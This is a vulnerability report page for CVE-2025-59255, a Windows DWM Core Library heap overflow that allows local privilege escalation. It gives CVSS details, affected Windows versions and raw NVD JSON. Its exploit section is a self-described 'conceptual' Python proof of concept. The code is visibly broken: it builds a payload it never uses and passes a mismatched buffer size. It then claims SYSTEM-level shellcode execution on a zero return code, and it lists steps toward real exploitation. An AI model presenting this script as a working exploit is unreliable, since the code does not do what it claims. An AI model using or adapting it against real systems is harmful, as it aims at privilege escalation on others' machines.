Security Vulnerability Report
中文
CVE-2025-59255 CVSS 7.8 HIGH

CVE-2025-59255

Published: 2025-10-14 17:16:08
Last Modified: 2025-10-17 15:28:45

Description

Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本) < 2025年10月补丁
Windows 11 (所有版本) < 2025年10月补丁
Windows Server 2019 < 2025年10月补丁
Windows Server 2022 < 2025年10月补丁
Windows Server 2025 < 2025年10月补丁

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59255 - Windows DWM Core Library Heap-based Buffer Overflow PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the # heap-based buffer overflow vulnerability in Windows DWM Core Library. # The vulnerability allows local privilege escalation to SYSTEM level. import ctypes import struct import sys from ctypes import wintypes # Load necessary Windows DLLs dwmapi = ctypes.windll.dwmapi kernel32 = ctypes.windll.kernel32 # DWM API constants DWMWA_NCRENDERING_ENABLED = 1 DWMWA_CAPTION_BUTTON_BOUNDS = 5 def trigger_dwm_overflow(hwnd): """ Trigger the heap-based buffer overflow in DWM Core Library by sending malformed data through DWM API calls. """ # Craft oversized buffer to overflow DWM internal heap allocation overflow_size = 0x10000 # 64KB - exceeds normal DWM buffer size payload = b"\x41" * overflow_size # Fill with controlled data # Attempt to trigger vulnerability via DWM API # The specific API call and parameters would need to match the # vulnerable code path in dwmcore.dll try: # This is a conceptual call - actual exploitation requires # reverse engineering of the specific vulnerable function result = dwmapi.DwmSetWindowAttribute( hwnd, DWMWA_CAPTION_BUTTON_BOUNDS, ctypes.byref(ctypes.c_long(0)), overflow_size # Oversized size parameter triggers overflow ) return result except Exception as e: print(f"[-] Exploitation failed: {e} ") return -1 def main(): print("[*] CVE-2025-59255 - DWM Core Library Heap Overflow PoC") print("[*] Target: Windows DWM Core Library") print("[*] Goal: Local Privilege Escalation to SYSTEM ") # Get desktop window handle hwnd = kernel32.GetDesktopWindow() if not hwnd: print("[-] Failed to get desktop window handle") sys.exit(1) print(f"[*] Desktop HWND: {hex(hwnd)}") print("[*] Attempting to trigger heap buffer overflow...") result = trigger_dwm_overflow(hwnd) if result == 0: print("[+] Overflow triggered successfully") print("[+] Shellcode execution would now occur with SYSTEM privileges") else: print("[-] Could not trigger overflow - system may be patched") if __name__ == "__main__": main() # Note: This is a conceptual demonstration. Actual exploitation requires: # 1. Detailed reverse engineering of dwmcore.dll vulnerable function # 2. Heap spray/grooming for reliable exploitation # 3. Bypass of modern mitigations (DEP, ASLR, CFG, etc.) # 4. Token stealing shellcode for privilege escalation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59255", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:07.923", "lastModified": "2025-10-17T15:28:45.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59255", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}